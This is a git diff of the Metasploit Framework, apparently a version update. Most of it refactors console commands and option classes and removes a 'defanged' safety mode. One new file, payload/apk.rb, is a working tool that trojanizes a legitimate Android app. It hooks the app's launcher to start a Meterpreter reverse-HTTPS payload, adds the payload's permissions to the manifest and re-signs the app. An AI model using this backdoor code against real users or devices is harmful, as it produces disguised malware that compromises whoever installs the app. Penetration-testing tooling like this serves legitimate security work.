{Msf::Framework::VersionAPI} as defined in - # RequiredVersions. - # @option attributes [Float] :minimum_core_version The minimum {Msf::Framework::VersionCore} as defined in - # RequiredVersions. - def initialize(attributes={}) - @minimum_api_version = attributes[:minimum_api_version] - @minimum_core_version = attributes[:minimum_core_version] - - message_parts = [] - message_parts << 'version check' - - if minimum_api_version or minimum_core_version - clause_parts = [] - - if minimum_api_version - clause_parts << "API >= #{minimum_api_version}" - end - - if minimum_core_version - clause_parts << "Core >= #{minimum_core_version}" - end - - clause = clause_parts.join(' and ') - message_parts << "(requires #{clause})" - end - - causal_message = message_parts.join(' ') - - super_attributes = { - :causal_message => causal_message - }.merge(attributes) - - super(super_attributes) - end - - # @return [Float] The minimum value of {Msf::Framework::VersionAPI} for the module to be compatible. - attr_reader :minimum_api_version - # @return [Float] The minimum value of {Msf::Framework::VersionCore} for the module to be compatible. - attr_reader :minimum_core_version - # @return [String] the path to the module that declared the RequiredVersions - attr_reader :module_path - # @return [String] the module reference name that declared the RequiredVersions - attr_reader :module_reference_name -end \ No newline at end of file diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb index 3df70e099a..a1a53a2c87 100644 --- a/lib/msf/core/opt.rb +++ b/lib/msf/core/opt.rb @@ -51,6 +51,13 @@ module Msf Msf::OptPort.new(__method__.to_s, [ required, desc, default ]) end + # @return [OptEnum] + def self.SSLVersion + Msf::OptEnum.new('SSLVersion', [ false, + 'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)', 'Auto', + ['Auto', 'SSL2', 'SSL3', 'SSL23', 'TLS', 'TLS1', 'TLS1.1', 'TLS1.2']]) + end + # These are unused but remain for historical reasons class << self alias builtin_chost CHOST @@ -69,6 +76,7 @@ module Msf Proxies = Proxies() RHOST = RHOST() RPORT = RPORT() + SSLVersion = SSLVersion() end end diff --git a/lib/msf/core/opt_address_range.rb b/lib/msf/core/opt_address_range.rb index 50c1653971..13dbe4bcd1 100644 --- a/lib/msf/core/opt_address_range.rb +++ b/lib/msf/core/opt_address_range.rb @@ -12,6 +12,10 @@ class OptAddressRange < OptBase return 'addressrange' end + def validate_on_assignment? + false + end + def normalize(value) return nil unless value.kind_of?(String) if (value =~ /^file:(.*)/) diff --git a/lib/msf/core/opt_base.rb b/lib/msf/core/opt_base.rb index 566f53703f..b332788bc5 100644 --- a/lib/msf/core/opt_base.rb +++ b/lib/msf/core/opt_base.rb @@ -75,6 +75,13 @@ module Msf return (type == in_type) end + # + # Returns true if this option can be validated on assignment + # + def validate_on_assignment? + true + end + # # If it's required and the value is nil or empty, then it's not valid. # diff --git a/lib/msf/core/opt_path.rb b/lib/msf/core/opt_path.rb index 6a40d48fef..23a23a1671 100644 --- a/lib/msf/core/opt_path.rb +++ b/lib/msf/core/opt_path.rb @@ -12,6 +12,10 @@ class OptPath < OptBase return 'path' end + def validate_on_assignment? + false + end + # Generally, 'value' should be a file that exists. def valid?(value) return false if empty_required_value?(value) diff --git a/lib/msf/core/opt_port.rb b/lib/msf/core/opt_port.rb index 295ae04538..97fb9db7ec 100644 --- a/lib/msf/core/opt_port.rb +++ b/lib/msf/core/opt_port.rb @@ -7,24 +7,17 @@ module Msf # Network port option. # ### -class OptPort < OptBase +class OptPort < OptInt def type return 'port' end - def normalize(value) - value.to_i - end - def valid?(value) - return false if empty_required_value?(value) - - if ((value != nil and value.to_s.empty? == false) and - ((value.to_s.match(/^\d+$/) == nil or value.to_i < 0 or value.to_i > 65535))) - return false + if !required? and value.to_s.empty? + super + else + super && normalize(value) <= 65535 && normalize(value) >= 0 end - - return super end end diff --git a/lib/msf/core/opt_raw.rb b/lib/msf/core/opt_raw.rb index 7da13693d9..b144334165 100644 --- a/lib/msf/core/opt_raw.rb +++ b/lib/msf/core/opt_raw.rb @@ -12,8 +12,12 @@ class OptRaw < OptBase return 'raw' end + def validate_on_assignment? + false + end + def normalize(value) - if (value =~ /^file:(.*)/) + if (value.to_s =~ /^file:(.*)/) path = $1 begin value = File.read(path) diff --git a/lib/msf/core/opt_regexp.rb b/lib/msf/core/opt_regexp.rb index d7056dd63b..bb743077db 100644 --- a/lib/msf/core/opt_regexp.rb +++ b/lib/msf/core/opt_regexp.rb @@ -29,7 +29,7 @@ class OptRegexp < OptBase def normalize(value) return nil if value.nil? - return Regexp.compile(value) + return Regexp.compile(value.to_s) end def display_value(value) diff --git a/lib/msf/core/opt_string.rb b/lib/msf/core/opt_string.rb index 88818cb036..459ac08cc6 100644 --- a/lib/msf/core/opt_string.rb +++ b/lib/msf/core/opt_string.rb @@ -12,8 +12,12 @@ class OptString < OptBase return 'string' end + def validate_on_assignment? + false + end + def normalize(value) - if (value =~ /^file:(.*)/) + if (value.to_s =~ /^file:(.*)/) path = $1 begin value = File.read(path) diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb new file mode 100644 index 0000000000..7aa9c34bb6 --- /dev/null +++ b/lib/msf/core/payload/apk.rb @@ -0,0 +1,206 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'rex/text' +require 'tmpdir' +require 'nokogiri' +require 'fileutils' +require 'optparse' +require 'open3' + +module Msf::Payload::Apk + + class ApkBackdoor + include Msf::Payload::Apk + def backdoor_apk(apk, payload) + backdoor_payload(apk, payload) + end + end + + def print_status(msg='') + $stderr.puts "[*] #{msg}" + end + + def print_error(msg='') + $stderr.puts "[-] #{msg}" + end + + def usage + print_error "Usage: #{$0} -x [target.apk] [msfvenom options]\n" + print_error "e.g. #{$0} -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" + end + + def run_cmd(cmd) + begin + stdin, stdout, stderr = Open3.popen3(cmd) + return stdout.read + stderr.read + rescue Errno::ENOENT + return nil + end + end + + # Find the activity that is opened when you click the app icon + def find_launcher_activity(amanifest) + package = amanifest.xpath("//manifest").first['package'] + activities = amanifest.xpath("//activity|//activity-alias") + for activity in activities + activityname = activity.attribute("targetActivity") + unless activityname + activityname = activity.attribute("name") + end + category = activity.search('category') + unless category + next + end + for cat in category + categoryname = cat.attribute('name') + if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN') + name = activityname.to_s + if name.start_with?('.') + name = package + name + end + return name + end + end + end + end + + def fix_manifest(tempdir) + payload_permissions=[] + + #Load payload's permissions + File.open("#{tempdir}/payload/AndroidManifest.xml","rb"){|file| + k=File.read(file) + payload_manifest=Nokogiri::XML(k) + permissions = payload_manifest.xpath("//manifest/uses-permission") + for permission in permissions + name=permission.attribute("name") + payload_permissions << name.to_s + end + } + + original_permissions=[] + apk_mani="" + + #Load original apk's permissions + File.open("#{tempdir}/original/AndroidManifest.xml","rb"){|file2| + k=File.read(file2) + apk_mani=k + original_manifest=Nokogiri::XML(k) + permissions = original_manifest.xpath("//manifest/uses-permission") + for permission in permissions + name=permission.attribute("name") + original_permissions << name.to_s + end + } + + #Get permissions that are not in original APK + add_permissions=[] + for permission in payload_permissions + if !(original_permissions.include? permission) + print_status("Adding #{permission}") + add_permissions << permission + end + end + + inject=0 + new_mani="" + #Inject permissions in original APK's manifest + for line in apk_mani.split("\n") + if (line.include? "uses-permission" and inject==0) + for permission in add_permissions + new_mani << ''+"\n" + end + new_mani << line+"\n" + inject=1 + else + new_mani << line+"\n" + end + end + File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts new_mani } + end + + def backdoor_payload(apkfile, raw_payload) + unless apkfile && File.readable?(apkfile) + usage + raise RuntimeError, "Invalid template: #{apkfile}" + end + + jarsigner = run_cmd("jarsigner") + unless jarsigner != nil + raise RuntimeError, "jarsigner not found. If it's not in your PATH, please add it." + end + + apktool = run_cmd("apktool -version") + unless apktool != nil + raise RuntimeError, "apktool not found. If it's not in your PATH, please add it." + end + + apk_v = Gem::Version.new(apktool) + unless apk_v >= Gem::Version.new('2.0.1') + raise RuntimeError, "apktool version #{apk_v} not supported, please download at least version 2.0.1." + end + + #Create temporary directory where work will be done + tempdir = Dir.mktmpdir + + File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload } + FileUtils.cp apkfile, "#{tempdir}/original.apk" + + print_status "Decompiling original APK..\n" + run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original") + print_status "Decompiling payload APK..\n" + run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload") + + f = File.open("#{tempdir}/original/AndroidManifest.xml") + amanifest = Nokogiri::XML(f) + f.close + + print_status "Locating hook point..\n" + launcheractivity = find_launcher_activity(amanifest) + unless launcheractivity + raise RuntimeError, "Unable to find hookable activity in #{apkfile}\n" + end + smalifile = "#{tempdir}/original/smali*/" + launcheractivity.gsub(/\./, "/") + ".smali" + smalifiles = Dir.glob(smalifile) + for smalifile in smalifiles + if File.readable?(smalifile) + activitysmali = File.read(smalifile) + end + end + + unless activitysmali + raise RuntimeError, "Unable to find hook point in #{smalifiles}\n" + end + + entrypoint = ';->onCreate(Landroid/os/Bundle;)V' + unless activitysmali.include? entrypoint + raise RuntimeError, "Unable to find onCreate() in #{smalifile}\n" + end + + print_status "Copying payload files..\n" + FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/") + FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/" + + payloadhook = entrypoint + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" + hookedsmali = activitysmali.gsub(entrypoint, payloadhook) + + print_status "Loading #{smalifile} and injecting payload..\n" + File.open(smalifile, "wb") {|file| file.puts hookedsmali } + injected_apk = "#{tempdir}/output.apk" + print_status "Poisoning the manifest with meterpreter permissions..\n" + fix_manifest(tempdir) + + print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" + run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") + print_status "Signing #{injected_apk}\n" + run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey") + + outputapk = File.read(injected_apk) + + FileUtils.remove_entry tempdir + outputapk + end +end + + diff --git a/lib/msf/core/payload/ruby.rb b/lib/msf/core/payload/ruby.rb index 80ff558804..e884fa1aca 100644 --- a/lib/msf/core/payload/ruby.rb +++ b/lib/msf/core/payload/ruby.rb @@ -10,7 +10,7 @@ module Msf::Payload::Ruby [ # Since space restrictions aren't really a problem, default this to # true. - Msf::OptBool.new('PrependFork', [ false, "Start the payload in its own process via fork or popen", "true" ]) + Msf::OptBool.new('PrependFork', [ false, "Start the payload in its own process via fork or popen", true ]) ] ) end diff --git a/lib/msf/core/payload/windows/prepend_migrate.rb b/lib/msf/core/payload/windows/prepend_migrate.rb index 58ad420cfe..b6ccf75131 100644 --- a/lib/msf/core/payload/windows/prepend_migrate.rb +++ b/lib/msf/core/payload/windows/prepend_migrate.rb @@ -28,7 +28,7 @@ module Msf::Payload::Windows::PrependMigrate # for discussion. # def prepend_migrate? - !!(datastore['PrependMigrate'] && datastore['PrependMigrate'].to_s.downcase == 'true') + datastore['PrependMigrate'] end # diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb index b4c436e561..74ee6b6c4e 100644 --- a/lib/msf/core/payload_generator.rb +++ b/lib/msf/core/payload_generator.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +require 'msf/core/payload/apk' require 'active_support/core_ext/numeric/bytes' module Msf @@ -305,9 +306,15 @@ module Msf # @return [String] A string containing the bytes of the payload in the format selected def generate_payload if platform == "java" or arch == "java" or payload.start_with? "java/" - p = generate_java_payload - cli_print "Payload size: #{p.length} bytes" - p + raw_payload = generate_java_payload + cli_print "Payload size: #{raw_payload.length} bytes" + raw_payload + elsif payload.start_with? "android/" and not template.blank? + cli_print "Using APK template: #{template}" + apk_backdoor = ::Msf::Payload::Apk::ApkBackdoor::new() + raw_payload = apk_backdoor.backdoor_apk(template, generate_raw_payload) + cli_print "Payload size: #{raw_payload.length} bytes" + raw_payload else raw_payload = generate_raw_payload raw_payload = add_shellcode(raw_payload) diff --git a/lib/msf/core/rpc/v10/rpc_module.rb b/lib/msf/core/rpc/v10/rpc_module.rb index d851b1f501..ef80fadf3c 100644 --- a/lib/msf/core/rpc/v10/rpc_module.rb +++ b/lib/msf/core/rpc/v10/rpc_module.rb @@ -1,5 +1,7 @@ # -*- coding: binary -*- +require 'msf/util/document_generator' + module Msf module RPC class RPC_Module < RPC_Base @@ -70,6 +72,17 @@ class RPC_Module < RPC_Base end + # Returns detailed information about a module in HTML. + # + # @return [String] HTML file. + # @example Here's how you would use this from the client: + # rpc.call('module.info_html', 'exploit', 'windows/smb/ms08_067_netapi') + def rpc_info_html(mtype, mname) + m = _find_module(mtype, mname) + Msf::Util::DocumentGenerator.get_module_document(m) + end + + # Returns the metadata for a module. # # @param [String] mtype Module type. Supported types include (case-sensitive): diff --git a/lib/msf/sanity.rb b/lib/msf/sanity.rb index 0a5506fa03..dc5ef2696d 100644 --- a/lib/msf/sanity.rb +++ b/lib/msf/sanity.rb @@ -3,36 +3,6 @@ # Provides some sanity checks against the ruby build and version # -# Check for the broken pack/unpack in OS X 10.4.x -if ([1].pack('n') == "\x01\x00") - $stderr.puts "*** This ruby build has a broken pack/unpack implementation! " - - if (RUBY_PLATFORM =~ /darwin/) - $stderr.puts " Apple shipped a broken version of ruby with the 10.4.x " - $stderr.puts " release. Please install ruby from source, or use one of " - $stderr.puts " the free package managers to obtain a working ruby build." - end - - exit(0) -end - -# Check for ruby 1.8.2 as the minimal supported version -if (RUBY_VERSION =~ /^1\.[0-7]\./ or RUBY_VERSION =~ /^1\.8\.[0-1]$/) - $stderr.puts "*** This version of ruby is not supported, please upgrade to 1.8.7+" - exit(0) -end - -# Check for ruby 1.9.0 and throw a big nasty warning -if (RUBY_VERSION =~ /^1\.9\.0/) - $stderr.puts "*** Ruby 1.9.0 is not supported, please upgrade to Ruby 1.9.3 or newer." - exit(0) -end - -# Check for ruby 1.9.1 and throw a warning -if (RUBY_VERSION =~ /^1\.9\.1/) - $stderr.puts "*** Ruby 1.9.1 is not supported, please upgrade to Ruby 1.9.3 or newer." -end - if(RUBY_PLATFORM == 'java') require 'socket' s = Socket.new(::Socket::AF_INET, ::Socket::SOCK_STREAM, ::Socket::IPPROTO_TCP) @@ -56,56 +26,3 @@ rescue ::LoadError $stderr.puts "*** The ruby-openssl library is not installed, many features will be disabled!" $stderr.puts "*** Examples: Meterpreter, SSL Sockets, SMB/NTLM Authentication, and more" end - - -# -# Check for the ugly 1.8.7 short-named constants bug -# - -class ConstBugTestA - Const = 'A' - def test - Const == 'A' - end -end - -ConstBugTestC = ConstBugTestA.dup - -class ConstBugTestB < ConstBugTestC - Const = 'B' -end - -def ruby_187_const_bug - bugged = false - - begin - ConstBugTestA.new.test() - ConstBugTestB.new.test() - rescue ::NameError - bugged = true - end - - bugged -end - -if(ruby_187_const_bug()) - $stderr.puts "" - $stderr.puts "***********************************************************************" - $stderr.puts "*** *" - $stderr.puts "*** This version of the Ruby interpreter contains a serious bug *" - $stderr.puts "*** related to short-named constants, we strongly recommend that you *" - $stderr.puts "*** switch to a fixed version. Unfortunately, some Linux distros have *" - $stderr.puts "*** backported the buggy patch into 1.8.6, so you may need to contact *" - $stderr.puts "*** your vendor and ask them to review the URL below. *" - $stderr.puts "*** *" - $stderr.puts "*** Alternatively, you can download, build, and install the latest *" - $stderr.puts "*** stable snapshot of Ruby from the following URL: *" - $stderr.puts "*** - http://www.ruby-lang.org/ *" - $stderr.puts "*** *" - $stderr.puts "*** For more information, please see the following URL: *" - $stderr.puts "*** - https://bugs.launchpad.net/bugs/282302 *" - $stderr.puts "*** *" - $stderr.puts "***********************************************************************" - $stderr.puts "" -end - diff --git a/lib/msf/ui/console/command_dispatcher.rb b/lib/msf/ui/console/command_dispatcher.rb index c8bcd12e52..0d3155c755 100644 --- a/lib/msf/ui/console/command_dispatcher.rb +++ b/lib/msf/ui/console/command_dispatcher.rb @@ -60,12 +60,6 @@ module CommandDispatcher def active_session=(mod) driver.active_session = mod end - # - # Checks to see if the driver is defanged. - # - def defanged? - driver.defanged? - end # # Logs an error message to the screen and the log file. The callstack is diff --git a/lib/msf/ui/console/command_dispatcher/auxiliary.rb b/lib/msf/ui/console/command_dispatcher/auxiliary.rb index b667c6367c..19bf3fb964 100644 --- a/lib/msf/ui/console/command_dispatcher/auxiliary.rb +++ b/lib/msf/ui/console/command_dispatcher/auxiliary.rb @@ -72,8 +72,6 @@ class Auxiliary # Executes an auxiliary module # def cmd_run(*args) - defanged? - opt_str = nil action = mod.datastore['ACTION'] jobify = false diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index c76bd76923..5138b742cb 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -16,6 +16,7 @@ require 'msf/ui/console/command_dispatcher/nop' require 'msf/ui/console/command_dispatcher/payload' require 'msf/ui/console/command_dispatcher/auxiliary' require 'msf/ui/console/command_dispatcher/post' +require 'msf/util/document_generator' module Msf module Ui @@ -34,18 +35,19 @@ class Core # Session command options @@sessions_opts = Rex::Parser::Arguments.new( - "-c" => [ true, "Run a command on the session given with -i, or all"], - "-h" => [ false, "Help banner" ], - "-i" => [ true, "Interact with the supplied session ID" ], - "-l" => [ false, "List all active sessions" ], - "-v" => [ false, "List verbose fields" ], - "-q" => [ false, "Quiet mode" ], - "-k" => [ true, "Terminate sessions by session ID and/or range" ], - "-K" => [ false, "Terminate all sessions" ], - "-s" => [ true, "Run a script on the session given with -i, or all"], - "-r" => [ false, "Reset the ring buffer for the session given with -i, or all"], - "-u" => [ true, "Upgrade a shell to a meterpreter session on many platforms" ], - "-t" => [ true, "Set a response timeout (default: 15)"]) + "-c" => [ true, "Run a command on the session given with -i, or all" ], + "-h" => [ false, "Help banner" ], + "-i" => [ true, "Interact with the supplied session ID " ], + "-l" => [ false, "List all active sessions" ], + "-v" => [ false, "List sessions in verbose mode" ], + "-q" => [ false, "Quiet mode" ], + "-k" => [ true, "Terminate sessions by session ID and/or range" ], + "-K" => [ false, "Terminate all sessions" ], + "-s" => [ true, "Run a script on the session given with -i, or all" ], + "-r" => [ false, "Reset the ring buffer for the session given with -i, or all" ], + "-u" => [ true, "Upgrade a shell to a meterpreter session on many platforms" ], + "-t" => [ true, "Set a response timeout (default: 15)" ], + "-x" => [ false, "Show extended information in the session table" ]) @@jobs_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner." ], @@ -94,10 +96,6 @@ class Core "-h" => [ false, "Help banner." ], "-e" => [ true, "Expression to evaluate." ]) - # The list of data store elements that cannot be set when in defanged - # mode. - DefangedProhibitedDataStoreElements = [ "MsfModulePaths" ] - # Constant for disclosure date formatting in search functions DISCLOSURE_DATE_FORMAT = "%Y-%m-%d" @@ -223,6 +221,13 @@ class Core end end + if framework.modules.module_load_warnings.length > 0 + print_warning("The following modules were loaded with warnings:") + framework.modules.module_load_warnings.each do |path, error| + print_warning("\t#{path}: #{error}") + end + end + cmd_banner() end @@ -743,7 +748,9 @@ class Core def cmd_info_help print_line "Usage: info [mod2 mod3 ...]" print_line - print_line "Optionally the flag '-j' will print the data in json format" + print_line "Options:" + print_line "* The flag '-j' will print the data in json format" + print_line "* The flag '-d' will show the markdown version with a browser. More info, but could be slow." print_line "Queries the supplied module or modules for information. If no module is given," print_line "show info for the currently active module." print_line @@ -754,15 +761,25 @@ class Core # def cmd_info(*args) dump_json = false + show_doc = false + if args.include?('-j') args.delete('-j') dump_json = true end + if args.include?('-d') + args.delete('-d') + show_doc = true + end + if (args.length == 0) if (active_module) if dump_json print(Serializer::Json.dump_module(active_module) + "\n") + elsif show_doc + print_status("Please wait, generating documentation for #{active_module.shortname}") + Msf::Util::DocumentGenerator.spawn_module_document(active_module) else print(Serializer::ReadableText.dump_module(active_module)) end @@ -783,6 +800,9 @@ class Core print_error("Invalid module: #{name}") elsif dump_json print(Serializer::Json.dump_module(mod) + "\n") + elsif show_doc + print_status("Please wait, generating documentation for #{mod.shortname}") + Msf::Util::DocumentGenerator.get_module_document(mod) else print(Serializer::ReadableText.dump_module(mod)) end @@ -860,8 +880,6 @@ class Core # Goes into IRB scripting mode # def cmd_irb(*args) - defanged? - expressions = [] # Parse the command options @@ -1210,8 +1228,6 @@ class Core # the framework root plugin directory is used. # def cmd_load(*args) - defanged? - if (args.length == 0) cmd_load_help return false @@ -1306,65 +1322,57 @@ class Core return false end - arg = args.shift - case arg + action = args.shift + case action when "add", "remove", "del" - if (args.length < 3) - print_error("Missing arguments to route #{arg}.") + subnet = args.shift + subnet,cidr_mask = subnet.split("/") + + if cidr_mask + netmask = Rex::Socket.addr_ctoa(cidr_mask.to_i) + else + netmask = args.shift + end + + gateway_name = args.shift + + if (subnet.nil? || netmask.nil? || gateway_name.nil?) + print_error("Missing arguments to route #{action}.") return false end - # Satisfy check to see that formatting is correct - unless Rex::Socket::RangeWalker.new(args[0]).length == 1 - print_error "Invalid IP Address" - return false - end + gateway = nil - unless Rex::Socket::RangeWalker.new(args[1]).length == 1 - print_error "Invalid Subnet mask" - return false - end - - gw = nil - - # Satisfy case problems - args[2] = "Local" if (args[2] =~ /local/i) - - begin - # If the supplied gateway is a global Comm, use it. - if (Rex::Socket::Comm.const_defined?(args[2])) - gw = Rex::Socket::Comm.const_get(args[2]) - end - rescue NameError - end - - # If we still don't have a gateway, check if it's a session. - if ((gw == nil) and - (session = framework.sessions.get(args[2])) and - (session.kind_of?(Msf::Session::Comm))) - gw = session - elsif (gw == nil) - print_error("Invalid gateway specified.") - return false - end - - if arg == "remove" or arg == "del" - worked = Rex::Socket::SwitchBoard.remove_route(args[0], args[1], gw) - if worked - print_status("Route removed") + case gateway_name + when /local/i + gateway = Rex::Socket::Comm::Local + when /^[0-9]+$/ + session = framework.sessions.get(gateway_name) + if session.kind_of?(Msf::Session::Comm) + gateway = session + elsif session.nil? + print_error("Not a session: #{gateway_name}") + return false else - print_error("Route not found") + print_error("Cannout route through specified session (not a Comm)") + return false end else - worked = Rex::Socket::SwitchBoard.add_route(args[0], args[1], gw) - if worked - print_status("Route added") - else - print_error("Route already exists") - end + print_error("Invalid gateway") + return false end + msg = "Route " + if action == "remove" or action == "del" + worked = Rex::Socket::SwitchBoard.remove_route(subnet, netmask, gateway) + msg << (worked ? "removed" : "not found") + else + worked = Rex::Socket::SwitchBoard.add_route(subnet, netmask, gateway) + msg << (worked ? "added" : "already exists") + end + print_status(msg) + when "get" if (args.length == 0) print_error("You must supply an IP address.") @@ -1476,8 +1484,6 @@ class Core # restarts of the console. # def cmd_save(*args) - defanged? - # Save the console config driver.save_config @@ -1508,8 +1514,6 @@ class Core # Adds one or more search paths. # def cmd_loadpath(*args) - defanged? - if (args.length == 0 or args.include? "-h") cmd_loadpath_help return true @@ -1757,12 +1761,13 @@ class Core # def cmd_sessions(*args) begin - method = nil - quiet = false - verbose = false - sid = nil - cmds = [] - script = nil + method = nil + quiet = false + show_extended = false + verbose = false + sid = nil + cmds = [] + script = nil reset_ring = false response_timeout = 15 @@ -1779,6 +1784,8 @@ class Core when "-c" method = 'cmd' cmds << val if val + when "-x" + show_extended = true when "-v" verbose = true # Do something with the supplied session identifier instead of @@ -2041,7 +2048,7 @@ class Core end when 'list',nil print_line - print(Serializer::ReadableText.dump_sessions(framework, :verbose => verbose)) + print(Serializer::ReadableText.dump_sessions(framework, :show_extended => show_extended, :verbose => verbose)) print_line end @@ -2163,22 +2170,21 @@ class Core @cache_payloads = nil end - # Security check -- make sure the data store element they are setting - # is not prohibited - if global and DefangedProhibitedDataStoreElements.include?(name) - defanged? - end - # If the driver indicates that the value is not valid, bust out. if (driver.on_variable_set(global, name, value) == false) print_error("The value specified for #{name} is not valid.") return true end - if append - datastore[name] = datastore[name] + value - else - datastore[name] = value + begin + if append + datastore[name] = datastore[name] + value + else + datastore[name] = value + end + rescue OptionValidateError => e + print_error(e.message) + elog(e.message) end print_line("#{name} => #{datastore[name]}") @@ -2190,7 +2196,6 @@ class Core # @param str [String] the string currently being typed before tab was hit # @param words [Array] the previously completed words on the command line. words is always # at least 1 when tab completion has reached this stage since the command itself has been completed - def cmd_set_tabs(str, words) # A value has already been specified @@ -2834,16 +2839,8 @@ class Core # Returns the revision of the framework and console library # def cmd_version(*args) - svn_console_version = "$Revision: 15168 $" - svn_metasploit_version = Msf::Framework::Revision.match(/ (.+?) \$/)[1] rescue nil - if svn_metasploit_version - print_line("Framework: #{Msf::Framework::Version}.#{svn_metasploit_version}") - else - print_line("Framework: #{Msf::Framework::Version}") - end - print_line("Console : #{Msf::Framework::Version}.#{svn_console_version.match(/ (.+?) \$/)[1]}") - - return true + print_line("Framework: #{Msf::Framework::Version}") + print_line("Console : #{Msf::Framework::Version}") end def cmd_grep_help @@ -3081,7 +3078,7 @@ class Core option_values_target_addrs().each do |addr| res << addr end - when 'LHOST', 'SRVHOST' + when 'LHOST', 'SRVHOST', 'REVERSELISTENERBINDADDRESS' rh = self.active_module.datastore['RHOST'] || framework.datastore['RHOST'] if rh and not rh.empty? res << Rex::Socket.source_address(rh) @@ -3520,7 +3517,7 @@ class Core next if not o # handle a search string, search deep - if( + if ( not regex or o.name.match(regex) or o.description.match(regex) or @@ -3534,7 +3531,7 @@ class Core mod_opt_keys = o.options.keys.map { |x| x.downcase } opts.each do |opt,val| - if mod_opt_keys.include?(opt.downcase) == false or (val != nil and o.datastore[opt] != val) + if !mod_opt_keys.include?(opt.downcase) || (val != nil && o.datastore[opt] != val) show = false end end diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index f3c36e8463..8e674f0d4a 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -1033,7 +1033,7 @@ class Db ::ActiveRecord::Base.connection_pool.with_connection { query = Metasploit::Credential::Core.where( workspace_id: framework.db.workspace ) - query = query.includes(:private, :public, :logins) + query = query.includes(:private, :public, :logins).references(:private, :public, :logins) query = query.includes(logins: [ :service, { service: :host } ]) if type.present? @@ -1647,6 +1647,7 @@ class Db print_line " Amap Log -m" print_line " Appscan" print_line " Burp Session XML" + print_line " Burp Issue XML" print_line " CI" print_line " Foundstone" print_line " FusionVM XML" diff --git a/lib/msf/ui/console/command_dispatcher/exploit.rb b/lib/msf/ui/console/command_dispatcher/exploit.rb index ea7be2c617..7d73935782 100644 --- a/lib/msf/ui/console/command_dispatcher/exploit.rb +++ b/lib/msf/ui/console/command_dispatcher/exploit.rb @@ -49,8 +49,6 @@ class Exploit # Launches an exploitation attempt. # def cmd_exploit(*args) - defanged? - opt_str = nil payload = mod.datastore['PAYLOAD'] encoder = mod.datastore['ENCODER'] @@ -154,8 +152,7 @@ class Exploit else # If we didn't run a payload handler for this exploit it doesn't # make sense to complain to the user that we didn't get a session - disable_handler = /^true$/i === mod.datastore["DisablePayloadHandler"] ? true : false - unless disable_handler + unless mod.datastore["DisablePayloadHandler"] fail_msg = 'Exploit completed, but no session was created.' print_status(fail_msg) begin diff --git a/lib/msf/ui/console/command_dispatcher/post.rb b/lib/msf/ui/console/command_dispatcher/post.rb index 8ea990a66d..7b64a01098 100644 --- a/lib/msf/ui/console/command_dispatcher/post.rb +++ b/lib/msf/ui/console/command_dispatcher/post.rb @@ -78,8 +78,6 @@ class Post # Executes an auxiliary module # def cmd_run(*args) - defanged? - opt_str = nil jobify = false quiet = false diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index d2292ba6a9..5e2222a168 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -139,18 +139,10 @@ class Driver < Msf::Ui::Driver self.disable_output = false # Whether or not command passthru should be allowed - self.command_passthru = (opts['AllowCommandPassthru'] == false) ? false : true + self.command_passthru = opts.fetch('AllowCommandPassthru', true) # Whether or not to confirm before exiting - self.confirm_exit = (opts['ConfirmExit'] == true) ? true : false - - # Disables "dangerous" functionality of the console - @defanged = opts['Defanged'] == true - - # If we're defanged, then command passthru should be disabled - if @defanged - self.command_passthru = false - end + self.confirm_exit = opts['ConfirmExit'] # Parse any specified database.yml file if framework.db.usable and not opts['SkipDatabaseInit'] @@ -535,6 +527,13 @@ class Driver < Msf::Ui::Driver end end + if framework.modules.module_load_warnings.length > 0 + print_warning("The following modules were loaded with warnings:") + framework.modules.module_load_warnings.each do |path, error| + print_warning("\t#{path}: #{error}") + end + end + framework.events.on_ui_start(Msf::Framework::Revision) if $msf_spinner_thread @@ -563,7 +562,7 @@ class Driver < Msf::Ui::Driver if (framework and framework.payloads.valid?(val) == false) return false - elsif active_module.type == 'exploit' && !active_module.is_payload_compatible?(val) + elsif active_module && active_module.type == 'exploit' && !active_module.is_payload_compatible?(val) return false elsif (active_module) active_module.datastore.clear_non_user_defined @@ -623,17 +622,6 @@ class Driver < Msf::Ui::Driver # attr_accessor :active_resource - # - # If defanged is true, dangerous functionality, such as exploitation, irb, - # and command shell passthru is disabled. In this case, an exception is - # raised. - # - def defanged? - if @defanged - raise DefangedException - end - end - def stop framework.events.on_ui_stop() super @@ -652,7 +640,7 @@ protected def unknown_command(method, line) [method, method+".exe"].each do |cmd| - if (command_passthru == true and Rex::FileUtils.find_full_path(cmd)) + if command_passthru && Rex::FileUtils.find_full_path(cmd) print_status("exec: #{line}") print_line('') @@ -762,17 +750,6 @@ protected end end -# -# This exception is used to indicate that functionality is disabled due to -# defanged being true -# -class DefangedException < ::Exception - def to_s - "This functionality is currently disabled (defanged mode)" - end -end - - end 